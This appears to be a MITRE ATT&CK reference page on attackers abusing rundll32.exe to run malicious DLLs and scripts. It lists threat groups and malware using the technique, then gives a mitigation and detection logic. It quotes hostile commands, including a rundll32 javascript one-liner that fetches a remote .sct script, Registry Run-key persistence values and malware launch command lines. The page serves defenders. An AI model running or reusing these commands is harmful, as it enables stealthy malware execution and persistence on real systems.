

System Binary Proxy Execution: Rundll32

Other sub-techniques of System Binary Proxy Execution (14)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](#)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`).

Rundll32.exe can also be used to execute [Control Panel](#) Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute.^[1] For example, [ClickOnce](#) can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"..\mshtml,RunHTMLApplication";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")` This behavior has been seen used by malware such as Poweliks.^[2]

Threat actors may also abuse legitimate, signed system DLLs (e.g., `zipfldr.dll`, `ieframe.dll`) with `rundll32.exe` to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.^{[3][4]}

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.^{[5][6]} DLL functions can also be exported and executed by an ordinal number (ex: `rundll32.exe file.dll, #1`).

Additionally, adversaries may use [Masquerading](#) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.^[7]

ID: T1218.011

Sub-technique of: [T1218](#)

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Tactic: [Stealth](#)

ⓘ

Platforms: Windows

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[Version Permalink](#)

Procedure Examples

ID	Name	Description
C0028	2015 Ukraine Electric Power Attack	During the 2015 Ukraine Electric Power Attack , Sandworm Team used a backdoor which could execute a supplied DLL using <code>rundll32.exe</code> . [8]
S0045	ADVSTORESHELL	ADVSTORESHELL has used <code>rundll32.exe</code> in a Registry value to establish persistence. [9]
G0073	APT19	APT19 configured its payload to inject into the <code>rundll32.exe</code> . [10]
G0007	APT28	APT28 executed CHOPSTICK by using <code>rundll32</code> commands such as <code>rundll32.exe "C:\Windows\twain_64.dll"</code> . APT28 also executed a .dll for a first stage dropper using <code>rundll32.exe</code> . An APT28 loader Trojan saved a batch script that uses <code>rundll32</code> to execute a DLL payload. [11][9][12][13][14][15]
G0022	APT3	APT3 has a tool that can run DLLs. [16]
G0050	APT32	APT32 malware has used <code>rundll32.exe</code> to execute an initial infection process. [17]
G0082	APT38	APT38 has used <code>rundll32.exe</code> to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools. [18][19]
G0096	APT41	APT41 has used <code>rundll32.exe</code> to execute a loader. [20]
G0143	Aquatic Panda	Aquatic Panda used <code>rundll32.exe</code> to proxy execution of a malicious DLL file identified as a keylogging binary. [21]
S0438	Attor	Attor 's installer plugin can schedule <code>rundll32.exe</code> to load the dispatcher. [22]
S0093	Backdoor.Oldrea	Backdoor.Oldrea can use <code>rundll32</code> for execution on compromised hosts. [23]
S0606	Bad Rabbit	Bad Rabbit has used <code>rundll32</code> to launch a malicious DLL as <code>C:\Windows\inf\pub.dat</code> . [24]
S0268	Bisonal	Bisonal has used <code>rundll32.exe</code> to execute as part of the Registry Run key it adds: <code>HKEY_CURRENT_USER \Software\</code>

ID	Name	Description
		Microsoft\Windows\CurrentVersion\Run\"vert\" = \"rundll32.exe c:\windows\temp\pvcu.dll , Qszdez\". ^[25]
S0520	BLINDINGCAN	BLINDINGCAN has used Rundll32 to load a malicious DLL. ^[26]
G0108	Blue Mockingbird	Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe. ^[27]
S0635	BoomBox	BoomBox can use RunDLL32 for execution. ^[28]
S0204	Briba	Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs. ^[29]
S1039	Bumblebee	Bumblebee has used rundll32 for execution of the loader component. ^{[30][31]}
C0015	C0015	During C0015 , the threat actors loaded DLLs via rundll32 using the svchost process. ^[32]
C0018	C0018	During C0018 , the threat actors used rundll32 to run Mimikatz . ^[33]
C0021	C0021	During C0021 , the threat actors used rundll32.exe to execute the Cobalt Strike Beacon loader DLL. ^[34]
G0008	Carbanak	Carbanak installs VNC server software that executes through rundll32. ^[35]
S0154	Cobalt Strike	Cobalt Strike can use rundll32.exe to load DLL from the command line. ^{[36][32][37]}
S0244	Comnie	Comnie uses Rundll32 to load a malicious DLL. ^[38]
G0052	CopyKittens	CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode. ^[39]
S0137	CORESHELL	CORESHELL is installed via execution of rundll32 with an export named \"init\" or \"InitW\". ^[40]
S0046	CozyCar	The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component. ^[41]

ID	Name	Description
G1034 Daggerfly		Daggerfly proxied execution of malicious DLLs through a renamed rundll32.exe binary. ^[42]
S0255 DDKONG		DDKONG uses Rundll32 to ensure only a single instance of itself is running at once. ^[43]
S1052 DEADEYE		DEADEYE can use rundll32.exe for execution of living off the land binaries (lolbin) such as SHELL32.DLL. ^[44]
S0554 Egregor		Egregor has used rundll32 during execution. ^[45]
S0081 Elise		After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe. ^[46]
S0082 Emissary		Variants of Emissary have used rundll32.exe in Registry values added to establish persistence. ^[47]
S0634 EnvyScout		EnvyScout has the ability to proxy execution of malicious files with Rundll32. ^[28]
S0568 EVILNUM		EVILNUM can execute commands and scripts through rundll32. ^[48]
S0512 FatDuke		FatDuke can execute via rundll32. ^[49]
S0267 FELIXROOT		FELIXROOT uses Rundll32 for executing the dropper program. ^{[50][51]}
G0046 FIN7		FIN7 has used rundll32.exe to execute malware on a compromised network. ^[52]
S0143 Flame		Rundll32.exe is used as a way of executing Flame at the command-line. ^[53]
S0381 FlawedAmmyy		FlawedAmmyy has used rundll32 for execution. ^[54]
S1044 FunnyDream		FunnyDream can use rundll32 for execution of its components. ^[55]
G0047 Gamaredon Group		Gamaredon Group malware has used rundll32 to launch additional malicious components. ^[56]
S0032 gh0st RAT		A gh0st RAT variant has used rundll32 for execution. ^[57]

ID	Name	Description
S0342 GreyEnergy		GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM). ^[51]
G0125 HAFNIUM		HAFNIUM has used rundll32 to load malicious DLLs. ^[58]
S0698 HermeticWizard		HermeticWizard has the ability to create a new process using rundll32. ^[59]
S1027 Heyoka Backdoor		Heyoka Backdoor can use rundll32.exe to gain execution. ^[60]
S0483 IcedID		IcedID has used rundll32.exe to execute the IcedID loader. ^{[61][62]}
S0260 InvisiMole		InvisiMole has used rundll32.exe for execution. ^[63]
S0044 JHUHUGIT		JHUHUGIT is executed using rundll32.exe. ^{[64][65]}
S1190 Kapeka		Kapeka is a Windows DLL file executed via ordinal by rundll32.exe. ^{[66][67]}
G0094 Kimsuky		Kimsuky has used rundll32.exe to execute malicious scripts and malware on a victim's network. ^{[68][69]}
S0250 Koadic		Koadic can use Rundll32 to execute additional payloads. ^[70]
S0356 KONNI		KONNI has used Rundll32 to execute its loader for privilege escalation purposes. ^{[71][72]}
S0236 Kwampirs		Kwampirs uses rundll32.exe in a Registry value added to establish persistence. ^[73]
S1160 Latrodectus		Latrodectus can use rundll32.exe to execute downloaded DLLs. ^{[74][75]}
G0032 Lazarus Group		Lazarus Group has used rundll32 to execute malicious payloads on a compromised host. ^[76]
G0140 LazyScripter		LazyScripter has used rundll32.exe to execute Koadic stagers. ^[77]
G0059 Magic Hound		Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory. ^[78]
S0167 Matryoshka		Matryoshka uses rundll32.exe in a Registry Run key value for

ID	Name	Description
		execution as part of its persistence mechanism. ^[79]
S0576	MegaCortex	MegaCortex has used <code>rundll32.exe</code> to load a DLL for file encryption. ^[80]
S1122	Mispadu	Mispadu uses RunDLL32 for execution via its injector DLL. ^[81]
S1026	Mongall	Mongall can use <code>rundll32.exe</code> for execution. ^[60]
S0256	Mosquito	Mosquito 's launcher uses <code>rundll32.exe</code> in a Registry Key value to start the main backdoor capability. ^[82]
G0069	MuddyWater	MuddyWater has used malware that leveraged <code>rundll32.exe</code> in a Registry Run key to execute a .dll. ^[83]
S0637	NativeZone	NativeZone has used <code>rundll32</code> to execute a malicious DLL. ^[84]
S1100	Ninja	Ninja loader components can be executed through <code>rundll32.exe</code> . ^[85]
S0353	NOKKI	NOKKI has used <code>rundll32</code> for execution. ^[86]
S0368	NotPetya	NotPetya uses <code>rundll32.exe</code> to install itself on remote systems when accessed via PsExec or <code>wmic</code> . ^[87]
C0022	Operation Dream Job	During Operation Dream Job , Lazarus Group executed malware with <code>C:\windows\system32\rundll32.exe "C:\ProgramData\ThumbNail\thumbnail.db", CtrlPanel S-6-81-3811-75432205-060098-6872 0 0 905</code> . ^[88] ^{[89][90]}
C0005	Operation Spalax	During Operation Spalax , the threat actors used <code>rundll32.exe</code> to execute malicious installers. ^[91]
S1050	PcShare	PcShare has used <code>rundll32.exe</code> for execution. ^[55]
S0518	PolyglotDuke	PolyglotDuke can be executed using <code>rundll32.exe</code> . ^[49]
S0139	PowerDuke	PowerDuke uses <code>rundll32.exe</code> to load. ^[92]
S0113	Prikormka	Prikormka uses <code>rundll32.exe</code> to load its DLL. ^[93]
S0147	Pteranodon	Pteranodon executes functions using <code>rundll32.exe</code> . ^[94]

ID	Name	Description
S0196	PUNCHBUGGY	PUNCHBUGGY can load a DLL using Rundll32. ^[95]
S0650	QakBot	QakBot has used Rundll32.exe to drop malicious DLLs including Brute Ratel C4 and to enable C2 communication. ^{[96][97][98][99][37]}
S0481	Ragnar Locker	Ragnar Locker has used rundll32.exe to execute components of VirtualBox. ^[100]
S1130	Raspberry Robin	Raspberry Robin uses rundll32 execution without any command line parameters to contact command and control infrastructure, such as IP addresses associated with Tor nodes. ^[101]
G1039	RedCurl	RedCurl has used rundll32.exe to execute malicious files. ^{[102][103][104]}
S0148	RTM	RTM runs its core DLL file using rundll32.exe. ^{[105][106]}
S0074	Sakula	Sakula calls cmd.exe to run various DLL files via rundll32. ^[107]
G0034	Sandworm Team	Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe. ^[108]
S0461	SDBbot	SDBbot has used rundll32.exe to execute DLLs. ^[54]
S0382	ServHelper	ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe. ^[109]
S0589	Sibot	Sibot has executed downloaded DLLs with rundll32.exe. ^[110]
C0024	SolarWinds Compromise	During the SolarWinds Compromise , APT29 used Rundll32.exe to execute payloads. ^{[111][112]}
S1030	Squirrelwaffle	Squirrelwaffle has been executed using rundll32.exe. ^{[113][114]}
G1053	Storm-0501	Storm-0501 has launched Cobalt Strike Beacon files with rundll32.exe. ^[115]
S0142	StreamEx	StreamEx uses rundll32 to call an exported function. ^[116]
S1183	StrelaStealer	StrelaStealer DLL payloads have been executed via rundll32.exe. ^{[117][118]}
S0559	SUNBURST	SUNBURST used Rundll32 to execute payloads. ^[112]

ID	Name	Description
S1064 SVCReady		SVCReady has used rundll32.exe for execution. [119]
G0092 TA505		TA505 has leveraged rundll32.exe to execute malicious DLLs. [120] [109]
G0127 TA551		TA551 has used rundll32.exe to load malicious DLLs. [121]
S1196 Troll Stealer		Troll Stealer is dropped as a DLL file and executed via rundll32.exe by its installer. [122] [123]
G1048 UNC3886		UNC3886 has used rundll32.exe to execute MiniDump for dumping LSASS process memory. [124]
S0452 USBferry		USBferry can execute rundll32.exe in memory to avoid detection. [125]
C0037 Water Curupira Pikabot Distribution		Water Curupira Pikabot Distribution utilizes rundll32.exe to execute the final Pikabot payload, using the named exports Crash or Limit depending on the variant. [126]
S0141 Winnti for Windows		The Winnti for Windows installer loads a DLL using rundll32. [127] [128]
G0102 Wizard Spider		Wizard Spider has utilized rundll32.exe to deploy ransomware commands with the use of WebDAV. [129]
S0412 ZxShell		ZxShell has used rundll32.exe to execute other DLLs and named pipes. [130]

Mitigations

ID	Mitigation	Description
M1050 Exploit Protection		Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.

Detection Strategy

ID	Name	Analytic ID	Analytic Description
DET0475 Detection Strategy for T1218.011 Rundll32		AN1308	Detects rundll32.exe invoked with atypical arguments (.dll, .cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts

ID	Name	Analytic ID	Analytic Description
	Abuse		accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching .sct or .hta).

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